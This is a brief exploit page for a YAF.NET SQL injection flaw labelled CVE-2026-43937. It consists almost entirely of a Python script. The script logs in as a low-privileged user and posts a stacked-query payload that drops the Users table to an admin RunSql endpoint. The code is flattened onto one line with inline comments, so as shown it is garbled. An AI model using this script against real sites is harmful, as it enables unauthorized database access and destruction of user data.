CVE-2026-43937 YAF.NET SQL注入漏洞

import requests # Target configuration target_host = "http://example.com" login_url = f"{target_host}/Account/Login" exploit_url = f"{target_host}/Admin/RunSql" # 1. Authenticate as a low-privileged user session = requests.Session() credentials = { "Username": "lowpriv_user", "Password": "password123" } session.post(login_url, data=credentials) # 2. Prepare SQL Injection Payload # The vulnerable parameter is 'Editor' in the POST body sql_payload = "SELECT @@version; DROP TABLE Users;--" # 3. Send Exploit Request # The vulnerability triggers before the 302 redirect logic payload_data = { "Editor": sql_payload } response = session.post(exploit_url, data=payload_data) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text[:200]}") else: print("[-] Failed to send request.")